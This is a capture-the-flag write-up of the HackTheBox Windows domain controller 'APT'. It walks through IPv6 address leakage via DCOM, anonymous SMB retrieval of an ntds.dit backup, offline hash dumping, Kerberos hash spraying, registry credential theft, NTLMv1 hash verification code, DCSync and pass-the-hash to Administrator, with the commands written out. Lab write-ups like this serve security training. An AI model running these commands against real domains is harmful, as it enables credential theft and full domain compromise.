HTB: APT Writeup

APT - HackTheBox Writeup

Machine Information

AttributeDetails
NameAPT
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.96.60
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐⭐
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

APT is an Insane-difficulty Windows Domain Controller that presents almost nothing on IPv4 — only HTTP (80) and MSRPC (135) — and hides its entire attack surface behind IPv6. The DCOM IObjectExporter RPC interface leaks the box’s real IPv6 address to any unauthenticated caller via ServerAlive2(), and once that address is reachable the machine reveals itself as a full domain controller for htb.local. Anonymous SMB access to a backup share yields a password-protected ntds.dit dump that cracks with rockyou, handing over ~2000 NT hashes. Kerberos password/hash spraying (which, unlike SMB, isn’t rate-limited on this box) identifies a valid low-privilege account, whose remote registry hive stores a plaintext credential for an administrative alias. From there, WinRM gets user access, and a legacy LMCompatibilityLevel misconfiguration that still permits NTLMv1 authentication allows the domain controller’s own machine-account hash to be cracked and used to DCSync the domain administrator’s credentials.

TL;DR: DCOM IObjectExporter.ServerAlive2() (unauthenticated RPC) leaks IPv6 address → full DC service surface only reachable over IPv6 → anonymous SMB backup share → backup.zip (rockyou-crackable) → ntds.dit + SYSTEM/SECURITY hives → secretsdump.py local → ~2000 NT hashes → Kerberos hash-spray finds henry.vinson → remote registry HKCU\Software\GiganticHostingManagementSystem → henry.vinson_adm creds → WinRM → user.txt → NTLMv1 downgrade allowed (LMCompatibilityLevel=2) → machine-account (APT$) NTLMv1 response cracked → NT hash validated via DES-triple recomputation → DCSync Administrator → WinRM → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Standard TCP scan against the target over IPv4
nmap -Pn -p 80,135,445,5985 -T4 10.129.96.60

Results: Only 80/tcp (IIS/HTTP) and 135/tcp (MSRPC) are reachable. 445 and 5985 are filtered — this is the first sign that the “real” attack surface is not being served over IPv4 at all, which is unusual for a domain controller and worth pursuing rather than dismissing as a hardened host.

DCOM/RPC Enumeration — Leaking the IPv6 Address

With only MSRPC exposed, the next step is to enumerate the interfaces DCOM exports over ncacn_ip_tcp on port 135. One of the interfaces every Windows RPC endpoint mapper exposes is IObjectExporter (IID: 99fcfec4-5260-101b-bbcb-00aa0021347a), which implements ServerAlive2 — a method callable at RPC_C_AUTHN_LEVEL_NONE (no authentication) that returns the server’s network interface bindings so a DCOM client can pick the best transport to reconnect on.

# oxid.py — call IObjectExporter::ServerAlive2 anonymously to enumerate
# the target's network interface bindings (including any IPv6 addresses)
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
target = 'ncacn_ip_tcp:10.129.96.60'
rpcTransport = transport.DCERPCTransportFactory(target)
portmap = rpcTransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
obj = IObjectExporter(portmap)
bindings = obj.ServerAlive2()
for binding in bindings:
print(f"Address: {binding['aNetworkAddr']}")

Running this against 10.129.96.60 returned:

Address: dead:beef::b885:d62a:d679:573f

This works because ServerAlive2 was never meant to be a secret — it’s part of the DCOM OXID resolution protocol, and Microsoft’s design assumes the returned addresses are only useful to a client that can already reach them. Here, that assumption breaks: the box has a firewall exemption on IPv6 that IPv4 doesn’t get, so leaking the IPv6 address is effectively a full bypass of whatever filtering IPv4 was subjected to.

Fixing IPv6 Routing on the Attack Host

Pivoting to the leaked address initially produced nothing but silence — SYNs went out and nothing came back, even though the address was clearly live. The cause was a routing/source-address-selection problem local to the jump box, not the target: tun0 carried a stale manual address dead:beef::9999/64 in addition to the VPN-assigned dead:beef:2::1142. Because both addresses fell inside the dead:beef::/64 prefix used to route to the target, the kernel’s default source-address selection picked the stale one, and traffic sourced from it was black-holed.

Terminal window
# Remove the stale/orphaned IPv6 address so the kernel selects
# the VPN-assigned source address for dead:beef::/64 destinations
sudo ip -6 addr del dead:beef::9999/64 dev tun0

Once that was removed, the leaked address became reachable immediately.

Full DC Enumeration over IPv6

Terminal window
# Add a hosts entry and rescan over IPv6 now that routing is fixed
echo 'dead:beef::b885:d62a:d679:573f apt apt.htb.local htb.local' | sudo tee -a /etc/hosts
nmap -6 -Pn -sT -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 apt

Results: The IPv6 address exposes the full domain controller surface — 53 (DNS), 88 (Kerberos), 135 (RPC), 389/636/3268 (LDAP/LDAPS/GC), 445 (SMB), 5985 (WinRM), and 9389 (AD Web Services) — confirming the domain is htb.local. This gap between what IPv4 exposes (80/135 only) and what IPv6 exposes (a complete DC) is the entire premise of the box.

Vulnerability Assessment

  • Unauthenticated RPC method (IObjectExporter::ServerAlive2) discloses internal network configuration.
  • Asymmetric firewalling — the full DC service stack is reachable over IPv6 but hidden over IPv4.
  • Anonymous SMB access to a backup share.
  • Weak (dictionary-crackable) password protecting an ntds.dit backup archive.
  • No Kerberos-layer rate limiting despite SMB authentication being throttled.
  • LMCompatibilityLevel still permits NTLMv1 authentication, a legacy protocol with a cryptographically weak (three-DES-key) response structure.

Initial Foothold

Anonymous SMB → Backup Archive

Terminal window
# Anonymous NULL-session listing/download of the 'backup' share
mkdir -p /tmp/apt && cd /tmp/apt
smbclient -N //apt/backup -c 'ls; prompt off; mget *'

This pulls down backup.zip. Because SMB null sessions are still permitted on the domain controller, no credentials are needed to reach a share that turns out to hold a full AD database backup — a classic misconfiguration where a legitimate backup workflow is left exposed on a share with anonymous read access.

Cracking the Backup Archive

Terminal window
# Extract the zip's crackable hash and run it through rockyou
zip2john backup.zip > hash
john hash -w=/usr/share/wordlists/rockyou.txt --fork=4
john --show hash

The archive cracked live against rockyou, recovering the password iloveyousomuch.

Terminal window
# Extract the archive contents with the recovered password
7z x -piloveyousomuch -o ex backup.zip

Extraction produced ntds.dit under Active Directory/ plus the SYSTEM and SECURITY registry hives under registry/ — everything needed to offline-decrypt the entire domain’s password hash database.

Dumping the NTDS Database

Terminal window
# Decrypt ntds.dit offline using the paired SYSTEM/SECURITY hives
secretsdump.py local -system ex/registry/SYSTEM -security ex/registry/SECURITY \
-ntds 'ex/Active Directory/ntds.dit' -outputfile hashes

This produced hashes.ntds containing roughly 2,000 NT hashes — the full domain’s credential material as of the backup’s snapshot date. This works because secretsdump.py implements the same SAM/NTDS.DIT decryption logic Windows uses internally: the SYSTEM hive holds the boot key used to derive the PEK (password encryption key), and SECURITY/NTDS.DIT hold the per-object secrets encrypted under it.

Identifying a Live Account via Kerberos Spraying

The public technique for this box (and confirmed in practice here) is that SMB authentication attempts against the DC are rate-limited/lockout-protected, but Kerberos AS-REQ pre-authentication is not. Spraying the ~2000 recovered NT hashes as Kerberos RC4 keys against known/likely usernames — rather than hammering SMB — avoids the lockout and lets the spray complete. This identified the account henry.vinson as valid, with a working NT hash recovered from the dump.

Remote Registry → Credential Disclosure

With a valid low-privilege hash, the registry can be queried remotely (the RemoteRegistry service is running on the DC, and this account has read access to its own loaded hive under HKEY_USERS):

Terminal window
# Query the user's registry hive for an application's stored config
impacket-reg -hashes :<henry.vinson_NT_hash> htb.local/henry.vinson@apt \
query -keyName 'HKCU\Software\GiganticHostingManagementSystem'

The GiganticHostingManagementSystem key — the same application referenced by the box’s static website — stores plaintext application credentials directly in the registry, a common anti-pattern for legacy line-of-business software. This disclosed:

Username: henry.vinson_adm
Password: G1#Ny5@2dvht

WinRM Access

Terminal window
# Authenticate as the elevated alias over WinRM
evil-winrm -i dead:beef::b885:d62a:d679:573f -u henry.vinson_adm -p 'G1#Ny5@2dvht'

The session authenticated successfully (Pwn3d!), confirming henry.vinson_adm is a member of a group with interactive/remote-management rights, unlike the base henry.vinson account.

Terminal window
type C:\Users\henry.vinson_adm\Desktop\user.txt

user.txt: <redacted>


Privilege Escalation

NTLMv1 Downgrade → Machine Account Hash Recovery

The domain’s authentication policy still permits NTLMv1 (LMCompatibilityLevel = 2 — “Send LM & NTLM — use NTLMv2 session security if negotiated” — rather than the modern default of 3, NTLMv2-only). NTLMv1 is dangerous because its 24-byte response is three separate DES-ECB encryptions of an 8-byte server challenge, each keyed by a 7-byte slice of the user’s 16-byte NT hash (padded to 21 bytes). Because DES keys are only 56 bits and the third 7-byte slice is mostly zero-padded, the entire response — and therefore the NT hash — is trivially recoverable by brute force once a challenge/response pair is captured, provided the challenge is fixed to a known value (the 1122334455667788 all-purpose challenge that free-rainbow-table services like crack.sh are built around).

A previously-captured NTLMv1 challenge/response for the domain controller’s own machine account, APT$, at exactly that fixed challenge, was available from earlier enumeration of this target. Rather than trust it blindly, it was independently re-verified against a candidate NT hash by recomputing the NTLMv1 DES triple from scratch:

# chk.py — recompute the NTLMv1 (LM/NTLM) DES-triple response for a
# candidate NT hash against a known challenge, and compare it against
# the captured response to confirm the NT hash is correct.
import binascii
from Crypto.Cipher import DES
def des_key(k7):
# Expand a 7-byte (56-bit) key into a proper 8-byte DES key
# by inserting an odd-parity bit after every 7 bits.
k = int.from_bytes(k7, 'big')
bits = []
for i in range(56):
bits.append((k >> (55 - i)) & 1)
out = bytearray()
for byte_idx in range(8):
seven = bits[byte_idx*7:(byte_idx+1)*7]
parity = 1 ^ (sum(seven) % 2)
val = 0
for b in seven:
val = (val << 1) | b
val = (val << 1) | parity
out.append(val)
return bytes(out)
def ntlmv1_response(nt_hash: bytes, challenge: bytes) -> bytes:
nt_padded = nt_hash + b'\x00' * 5 # 16 -> 21 bytes
keys = [nt_padded[0:7], nt_padded[7:14], nt_padded[14:21]]
resp = b''
for k in keys:
cipher = DES.new(des_key(k), DES.MODE_ECB)
resp += cipher.encrypt(challenge)
return resp
challenge = bytes.fromhex('1122334455667788')
candidate_nt = bytes.fromhex('<candidate_NT_hash>')
computed = ntlmv1_response(candidate_nt, challenge)
print(binascii.hexlify(computed))
# Compared byte-for-byte against the captured APT$ response — a match
# confirms the candidate NT hash is correct.

The computed response matched the captured one exactly, confirming the NT hash for the APT$ machine account.

Confirming Live — DCSync

An offline math match isn’t proof the hash is still valid on the running DC, so it was verified against the live target with a DCSync request (MS-DRSR), which any account with Get-Replication-Changes rights — including a domain controller’s own machine account — can perform:

Terminal window
# Use the recovered APT$ machine-account NT hash to DCSync Administrator
impacket-secretsdump 'htb.local/APT$@apt' -hashes :<APT$_NT_hash> \
-just-dc-user administrator

This returned the domain administrator’s NT hash live from the DC, proving the recovered hash was both correct and currently valid — not a stale artifact.

Administrator Access

Terminal window
# Pass-the-hash into WinRM as Administrator
nxc winrm apt -u Administrator -H <Administrator_NT_hash> -d htb.local \
-x 'whoami; type C:\Users\Administrator\Desktop\root.txt'

root.txt: <redacted>


Attack Chain Summary

Unauthenticated DCOM IObjectExporter::ServerAlive2()
→ IPv6 address leaked (dead:beef::b885:d62a:d679:573f)
→ Full DC service surface reachable only over IPv6 (htb.local)
→ Anonymous SMB "backup" share → backup.zip
→ zip2john + rockyou → password "iloveyousomuch"
→ ntds.dit + SYSTEM/SECURITY hives → secretsdump.py local
→ ~2000 NT hashes recovered
→ Kerberos hash-spray (SMB rate-limited, Kerberos not) → henry.vinson
→ Remote registry HKCU\Software\GiganticHostingManagementSystem
→ henry.vinson_adm : G1#Ny5@2dvht → WinRM → user.txt
→ LMCompatibilityLevel=2 permits NTLMv1
→ Captured APT$ machine-account NTLMv1 response (challenge 1122334455667788)
→ NT hash confirmed via DES-triple recomputation
→ Live DCSync (MS-DRSR) as APT$ → Administrator NT hash
→ WinRM as Administrator → Root

Tools Used

ToolPurpose
nmapPort scanning (IPv4 and IPv6)
impacket (transport, dcomrt, secretsdump.py, reg.py)RPC/DCOM enumeration, NTDS decryption, remote registry queries, DCSync
smbclientAnonymous SMB share enumeration/download
zip2john / johnCracking the password-protected backup.zip
7zExtracting the AD backup archive
custom Kerberos spray scriptPassword/hash spraying without SMB lockout
Crypto.Cipher.DES (pycryptodome)Recomputing/verifying the NTLMv1 DES-triple response
evil-winrm / nxc (NetExec)WinRM shell access as henry.vinson_adm and Administrator
ip -6 addrFixing a local IPv6 source-address routing conflict

Key Learnings

Techniques Practiced

  • Abusing unauthenticated DCOM/RPC methods (IObjectExporter::ServerAlive2) to leak internal network addressing.
  • Diagnosing and fixing IPv6 source-address selection issues caused by stale local interface configuration.
  • Anonymous SMB enumeration and offline ntds.dit/registry-hive decryption with secretsdump.py.
  • Choosing Kerberos over SMB for credential spraying to avoid account lockout/rate limiting.
  • Harvesting plaintext credentials from application-specific registry keys via remote registry access.
  • Understanding and exploiting the structural weakness of NTLMv1’s three-DES-key response, and independently verifying a recovered hash by recomputing the algorithm rather than trusting a cached artifact.
  • Using DCSync (MS-DRSR) with a machine account’s own hash to escalate to Domain Admin.

Lessons Learned

  1. A restrictive IPv4 firewall means nothing if an unauthenticated RPC method leaks the real address the box listens on over another protocol stack. IObjectExporter::ServerAlive2 is metadata, not a secret, by original DCOM design — but on a segmented/dual-stack network, that metadata is a full perimeter bypass.
  2. Local attack-host network state can silently blackhole an otherwise-correct pivot. A stale manual IPv6 address left on the tunnel interface caused every packet to a reachable target to disappear with no error — always confirm source-address selection when a target that resolves and pings via one path stops responding entirely.
  3. Rate limiting is rarely applied consistently across every authentication surface of a domain controller. SMB lockout policies do not automatically extend to Kerberos pre-authentication; attackers (and defenders auditing their own environments) should test both independently.
  4. Legacy authentication compatibility settings are a persistent liability. LMCompatibilityLevel values below 5 (or even below 3) keep NTLMv1 alive on a domain years after NTLMv2 became the default, and NTLMv1’s fixed-challenge DES-triple structure makes any captured machine-account response effectively equivalent to publishing the account’s NT hash.
  5. Never trust a recovered credential blindly — verify it, and verify it live. Recomputing the NTLMv1 response algorithm independently confirmed the candidate hash was mathematically correct; DCSync against the live DC confirmed it was still valid credential material on the running domain, not a stale historical artifact.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “APT” — HackTheBox Official Writeup (Document No. D21.100.113), Machine Author: cube0x0 — used for background on the DCOM IObjectExporter interface, the NTLMv1/LMCompatibilityLevel weakness underlying the root path, and the crack.sh-style fixed-challenge (1122334455667788) technique for cracking NTLMv1 responses.